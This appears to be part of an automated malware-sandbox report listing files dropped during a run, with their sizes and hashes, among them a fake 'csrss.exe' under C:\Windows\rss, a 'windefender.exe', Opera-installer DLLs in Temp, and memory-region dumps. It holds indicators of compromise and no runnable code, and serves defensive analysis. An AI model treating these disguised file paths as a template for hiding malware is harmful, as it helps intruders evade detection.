                                                                                                                                                                                                                                                                        c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        18KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        947fe8bd1f515146732da6791be9c74e

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        db18ebbb76bd9e488b5149becc53b56326648a93

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        86afcd5e3c75b9e03b5d6980fd21ac90b547964ddb5bc12dec60e5db6e24675f

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        23b1aeccbafc5a06320754b50ec9b9bc57981ae287895054a4cb2b12311a006bb66d755d559c744f5399ae3c0035f6a8acb264dc195c4deef014ae6e076a7303

                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        18KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        6d1917b4374c7ef914ee1f0a9ecb005e

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        6fc9953fe54338ae3d8ce62e34aca059c83fe472

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        f3df78c6169e45d170b1724ad6eb3b03c74da763e9cb1bea9f7cb67b5a5e0349

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        d152f344b702fab3a0e693a816b0ee328a83847bbf281ae3fe1c6607c3f8cdabd51443145088ea39b046638a81a6f9cd4da722ed1940e2739e3f9a4eb5b6e9f1

                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        18KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        49051d597e0a9f121f4ee97633dce171

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        af60e2997c610f8a1e3073cd88285f1b64f1214a

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        e80b86b8c027c12b4f1300e0e290bcd85d9fed9259b54da88b7be943a4450a83

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        c626f29e3d2869850697fbcba6bd9b78acd467b7183a0c46d784f8c45ce95ec2be8216b6a24084e4744d00cf119244b32cfb2046aeccfacc03fbf16263926535

                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        18KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        8bf2555f15480d6c189ded36557ada03

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        1d03e04103a106485c0fba1a7f60abf56ee63537

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        55901c52182b8cc4b6ca22156f4c2a306375ce76390267f593800b766cb18ff0

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        7e7ddd732c833a168aa797313e6982846a209f6eec496c14b8c9e9725697b56613a181c1b29d86584359660e9cf9f593928d0943249ae27201e1e10b284b59db

                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        18KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        0740f8fb80e6faa13a40626942c4859d

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        c9a89c5e8a1f3380489fb48037c6f15f2c3c4cb4

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        3a8b8932a80bbcf66e9c1d24d630ed048168dc09a6a6b6e5da20dad99fc1baf8

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        2bcc44c3e037fc4e85b4f68366013a323e5fd08d326aa1b3fb2724a0b0a1f9fbc9a36925334994c5662213a089c91f80b74cbbe35c0b6d69d394956b18fd5504

                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        18KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        b53afd9821d59da90e1b37118bbe0100

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        1f6e8f9ff147f598f0b15431c8ba6e5751fe9132

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        7305e9a681ab25a7cd20288348e969fb0334fe903fc8dd767c8f23864d1cca37

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        82287ef91f2c1c6cd22139c07f3d4a0f2578fe13df167d44cb624335c4653ea40277aaef54d2cb6eb257d0a803660cfedc9329064a81be062f51d8d8507edf65

                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        12KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        d8026daaa45317b619f3fb57bfeb768a

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        604e5eecdfb638ab1860949fd897c8360c988fe7

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        5d9c377e298a7df337edf3cbd97f1f7dbe4f32d9455b9da40dd77ceb54e3c240

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        a98fb1a0413157dfd39b869214e5595694e6a10090a5903fbd96820164afdb5fdef83b016f5378887b02dfffc628071dfe829dc2390ccf02991160c9fee540f2

                                                                                                                                                                                                                                                                      • C:\Windows\rss\csrss.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        535KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        5d7b3116f38645560e3ff404151f8d3a

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        e09e8e1644335ac0bd2c9b96de97e5176f5fa32a

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        eec99739cb2d1a89a84160603ec0822713972c6c44aa337d0118e3cecf98c98d

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        f6cfbce0c317d3e651434a22084f0c34bd7844fc23618abf9eb25fbcdde60fa24daacedc1e67e7c75815fac0adc479f9fd5944d90ee2f85672e08f4967286a3a

                                                                                                                                                                                                                                                                      • C:\Windows\rss\csrss.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        137KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        3a70709c820e6f3b2198607b50380bb0

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        da6d55169f529e6087ad8a62044126079c5044d9

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        563a89dbf5662fab61eee8eb2944b2e67b21eb43e88af1c38022da08496074a6

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        f84bdd0b68620d30e21ce44fec02a4eb2b35ff59b5efdeafb63a590c810c5f6addf4ce91fdff7fb6982d53394534e5ca3e3022a725b2f46aba689fd06c1d1928

                                                                                                                                                                                                                                                                      • C:\Windows\rss\csrss.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        111KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        1ad22feb4f76be1b02be35bb353b0e7a

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        de4dcb6524757daf3c951881eef3acf4c31749d7

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        f46a5b009a220d71ed2fbbe5893827425754589b52bdc4c80a1441d56444b039

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        5bb64801673d3cff0749e9f22178930381a66779d5b99612d7a68be362864d61fedb7295b3c659227f08465d117a56313c36982db5c0a7b5fa60921fa4bd7eee

                                                                                                                                                                                                                                                                      • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        268B

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                                                                                                                                      • C:\Windows\windefender.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        262KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        91a11f8840d904eed5698ef05fef9ff7

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        fb90033982d7a0612d07ee9e1cba6ec63ca05f89

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        54cb479e12a5e89fc27839f310d1e7c3e64530a114cbb696289c5ae15605e9e1

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        bfe4efdd5b1e8d04c21b89fb688be22390e555eebf9e55046d579606aa7e942814060d715e43b0b9a6c1741c8cea54652c5f6590dfbf5c6d7b419ae3c0d984a6

                                                                                                                                                                                                                                                                      • C:\Windows\windefender.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        286KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        7a2da85f81ea70af3c27e34b5f8562c4

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        62dde336a87f5a75ad067d5b1f62f376d5cdf587

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        f4488a95aac2fb6b002dc3d0a14482ba2701e34adfbb56f3c2a82e311551194b

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        9427bea1e90028dd63cfef4b1fc888d4a0e91b55100f2920c21c2cc710dfa1c85fc1eb33bd24a49b1f9b74413a08d45b07833c21be4d698522c2ddf4825104e9

                                                                                                                                                                                                                                                                      • C:\Windows\windefender.exe

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        413KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        4adda04dec8c79d019c2f99bf2b70906

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        da961ec7f2527728b0b4410cbff0ce9c0db10c87

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        090d18576b1c7d0ebfef32047e0601879172fa37e0cf5a0da7dd9435631a2133

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        ff1a07b814c148b47a0c05acb50284d347eeb2183168daa9db9d067b0e5d3978c7b0e98385b8c4e6f5d06db4b16e5d9f3a7abebd451dfd530e7083aaffac8110

                                                                                                                                                                                                                                                                      • \Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\dbgcore.dll

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        166KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        a59b6c6d04bac536cc7fafe92f0d1bda

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        6d5bbdfafbe2ea65e3aa9abc088e0fc6e20be8a1

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        c2d92d6e9a3ea40f38d275499bef7ba899802f131160ce1a2f76314b87b531ac

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        49e748676c54482f7de089fb6eaa45b5cb3e59a1b9125d90619371678749a0b80cf8ef8c7cf75c8486d20b89639a8b679c23a671a2c3b6dff1f86ea9cb1a7f5c

                                                                                                                                                                                                                                                                      • \Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\dbghelp.dll

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        305KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        0edf17d593332cbcdfbc0bbb7a87da7b

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        35315663304089de4dfa36ca903c41d6c4ef5b12

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        aacc4d0e34049d1e56063b4330b6143f42fe5a7877d158faf07784a1b6fc2a87

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        8188f1e73cfb6587d31ac432172f8687bafc9a8d1de1800ab2f9342c5d5ef36e6fc57e4f3162f22fae5b80d1bc27782563b85c7968ab5adb7a30a445769f3189

                                                                                                                                                                                                                                                                      • \Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\dbghelp.dll

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        465KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        dfc46dc1aae1c3a0e2e0bdf87a1f13d3

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        fe57aeca7a76cba3cc034eff3168c737acc246bd

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        2639e16189ae1d0310246c45267fff49d0d1b3cc5c36a5066a35af8836d3c7b3

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        63243742364d379212d2ea39a6d3c6adf7ab20266aa8a57ba92bd3c61aa31d4b6a296fb47f2bade72165e4ad73263dfafca50a42f2739209d7b76c12dce7c2ae

                                                                                                                                                                                                                                                                      • \Users\Admin\AppData\Local\Temp\Opera_installer_2402042054036261188.dll

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        303KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        5aa627257a90e41056ea884c3e3f6214

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        1a6a84b5eacc2626acb30cacef25c22e02c3af2f

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        b264b5d3977975e83b06668ab816d9a7b4cbb9b93ff649a03c7dcb736d107b96

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        2a338da09764e24447fc21e0ae14916cc3f9d966d1e064fcb8d0e16aeebacbfea30083af6ffcc00bc33c840ca69b27645c1456d223399b304f5c3aac6727f541

                                                                                                                                                                                                                                                                      • \Users\Admin\AppData\Local\Temp\Opera_installer_240204205403829584.dll

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        250KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        ee11a60596c426893700f4f389f8798a

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        5aae3f6143c0c0c47d07977cde9e46c57b91cd2f

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        95c24504671853e43cb9404d800b9cd4aeabd170de6e5d52e999570a24d7faf7

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        ff6e631dbb9b593a754dd6caa26ebf1a11ae31c290d996f77502102ebc88bf019764f542ae47566339ccd1f55fb63e34f63f392c8bc5f10b06f0548f9463bd9a

                                                                                                                                                                                                                                                                      • \Users\Admin\AppData\Local\Temp\Opera_installer_2402042054042044428.dll

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        197KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        3926b4a92d75a287e27bb510c926fe30

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        4a9e4b9a137b9eccd96f90065c015a4809086d19

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        9231913386cfe821b0a8c98fad226f2f1bb6e13d1ecadd84ec25fa5d6a7689ba

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        b5b22599d9de9c4a162b879311d56bf6487cfcbaabaf2902c945725c2e6e04bdcf567ee83f911e2b43c97ffd2f28d371906aaa06b1e175b0951291e5f535bb12

                                                                                                                                                                                                                                                                      • \Users\Admin\AppData\Local\Temp\Opera_installer_2402042054044383136.dll

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        30KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        1fe798b50e3deaf7a5cfb1d69a107e1a

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        1d2e241fdcfb61edc43ad53440c3b0f0fce0d730

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        0d848c5d837cd9506cddffc8b1c5897ad8b7d049bba1c441dd11c551639402a2

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        22fb5b1747314a31163a3b9d207f6c79c24c521708b69222b6db0d6a06b012f951ca3b770f68994ac1df355c8e2db3b58c6533d89c5536606d5a67e203ccf6ed

                                                                                                                                                                                                                                                                      • \Users\Admin\AppData\Local\Temp\Opera_installer_2402042054045481576.dll

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        126KB

                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                        4862859fd18111ad2bba6ad4e43c5997

                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                        d01ea28c94696a60c6687883bdb8884209686953

                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                        81dd8ad6ea805a80c010d8d11651dd74d225d512878c980a6778bfe81cb9207a

                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                        6237ee7e14e207d2961bdde7a002496d7351ad9d89cdae54f7da1848eb38bce4e1ecf7cc955adacea8b575e926b4b2534c45ebaf7781b75c48958cecbbc09689

                                                                                                                                                                                                                                                                      • memory/508-450-0x000000006F2C0000-0x000000006F610000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        3.3MB

                                                                                                                                                                                                                                                                      • memory/508-317-0x00000000086F0000-0x000000000873B000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        300KB

                                                                                                                                                                                                                                                                      • memory/508-308-0x0000000005130000-0x0000000005140000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/508-348-0x0000000009630000-0x000000000966C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        240KB

                                                                                                                                                                                                                                                                      • memory/508-313-0x0000000008100000-0x0000000008450000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        3.3MB

                                                                                                                                                                                                                                                                      • memory/508-310-0x0000000005130000-0x0000000005140000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/508-445-0x000000006FE70000-0x000000006FEBB000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        300KB

                                                                                                                                                                                                                                                                      • memory/508-458-0x000000007E500000-0x000000007E510000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/508-307-0x00000000739D0000-0x00000000740BE000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        6.9MB

                                                                                                                                                                                                                                                                      • memory/584-464-0x00000000012F0000-0x00000000017D8000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.9MB

                                                                                                                                                                                                                                                                      • memory/648-309-0x00007FF7FF5A0000-0x00007FF7FF657000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        732KB

                                                                                                                                                                                                                                                                      • memory/1188-448-0x00000000012F0000-0x00000000017D8000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.9MB

                                                                                                                                                                                                                                                                      • memory/1484-4-0x00000000056B0000-0x000000000574C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        624KB

                                                                                                                                                                                                                                                                      • memory/1484-5-0x0000000005910000-0x0000000005920000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/1484-6-0x0000000005840000-0x00000000058E4000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        656KB

                                                                                                                                                                                                                                                                      • memory/1484-14-0x00000000739D0000-0x00000000740BE000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        6.9MB

                                                                                                                                                                                                                                                                      • memory/1484-7-0x00000000055C0000-0x00000000055DA000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        104KB

                                                                                                                                                                                                                                                                      • memory/1484-3-0x0000000005610000-0x00000000056A2000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        584KB

                                                                                                                                                                                                                                                                      • memory/1484-2-0x0000000005B10000-0x000000000600E000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        5.0MB

                                                                                                                                                                                                                                                                      • memory/1484-1-0x00000000739D0000-0x00000000740BE000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        6.9MB

                                                                                                                                                                                                                                                                      • memory/1484-0-0x0000000000C90000-0x0000000000D4C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        752KB

                                                                                                                                                                                                                                                                      • memory/2340-16-0x0000000004A50000-0x0000000004A60000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/2340-28-0x0000000008760000-0x00000000087AB000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        300KB

                                                                                                                                                                                                                                                                      • memory/2340-252-0x00000000098F0000-0x000000000990A000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        104KB

                                                                                                                                                                                                                                                                      • memory/2340-59-0x0000000009950000-0x00000000099E4000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        592KB

                                                                                                                                                                                                                                                                      • memory/2340-51-0x0000000070640000-0x000000007068B000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        300KB

                                                                                                                                                                                                                                                                      • memory/2340-23-0x0000000007DE0000-0x0000000008130000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        3.3MB

                                                                                                                                                                                                                                                                      • memory/2340-50-0x0000000009630000-0x0000000009663000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        204KB

                                                                                                                                                                                                                                                                      • memory/2340-52-0x0000000009610000-0x000000000962E000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        120KB

                                                                                                                                                                                                                                                                      • memory/2340-57-0x0000000009770000-0x0000000009815000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        660KB

                                                                                                                                                                                                                                                                      • memory/2340-20-0x00000000074B0000-0x00000000074D2000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        136KB

                                                                                                                                                                                                                                                                      • memory/2340-19-0x00000000074F0000-0x0000000007B18000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        6.2MB

                                                                                                                                                                                                                                                                      • memory/2340-49-0x000000007EC90000-0x000000007ECA0000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/2340-32-0x0000000008540000-0x00000000085B6000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        472KB

                                                                                                                                                                                                                                                                      • memory/2340-257-0x00000000098E0000-0x00000000098E8000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        32KB

                                                                                                                                                                                                                                                                      • memory/2340-24-0x0000000008150000-0x000000000816C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        112KB

                                                                                                                                                                                                                                                                      • memory/2340-273-0x00000000739D0000-0x00000000740BE000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        6.9MB

                                                                                                                                                                                                                                                                      • memory/2340-22-0x0000000007B90000-0x0000000007BF6000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        408KB

                                                                                                                                                                                                                                                                      • memory/2340-21-0x0000000007D70000-0x0000000007DD6000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        408KB

                                                                                                                                                                                                                                                                      • memory/2340-58-0x0000000004A50000-0x0000000004A60000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/2340-17-0x0000000004A60000-0x0000000004A96000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        216KB

                                                                                                                                                                                                                                                                      • memory/2340-15-0x00000000739D0000-0x00000000740BE000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        6.9MB

                                                                                                                                                                                                                                                                      • memory/2340-18-0x0000000004A50000-0x0000000004A60000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/2372-914-0x0000000000400000-0x000000000071A000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        3.1MB

                                                                                                                                                                                                                                                                      • memory/2436-293-0x00000000739D0000-0x00000000740BE000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        6.9MB

                                                                                                                                                                                                                                                                      • memory/2436-11-0x00000000739D0000-0x00000000740BE000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        6.9MB

                                                                                                                                                                                                                                                                      • memory/2436-296-0x00000000055F0000-0x0000000005600000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/2436-13-0x00000000055F0000-0x0000000005600000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        64KB

                                                                                                                                                                                                                                                                      • memory/2436-8-0x0000000000400000-0x0000000000408000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        32KB

                                                                                                                                                                                                                                                                      • memory/3188-1037-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/3188-284-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

                                                                                                                                                                                                                                                                      • memory/3188-283-0x0000000002E80000-0x000000000376B000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        8.9MB

                                                                                                                                                                                                                                                                      • memory/3188-444-0x0000000002A80000-0x0000000002E7B000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.0MB

                                                                                                                                                                                                                                                                      • memory/3188-282-0x0000000002A80000-0x0000000002E7B000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        4.0MB

                                                                                                                                                                                                                                                                      • memory/3188-473-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                        9.1MB

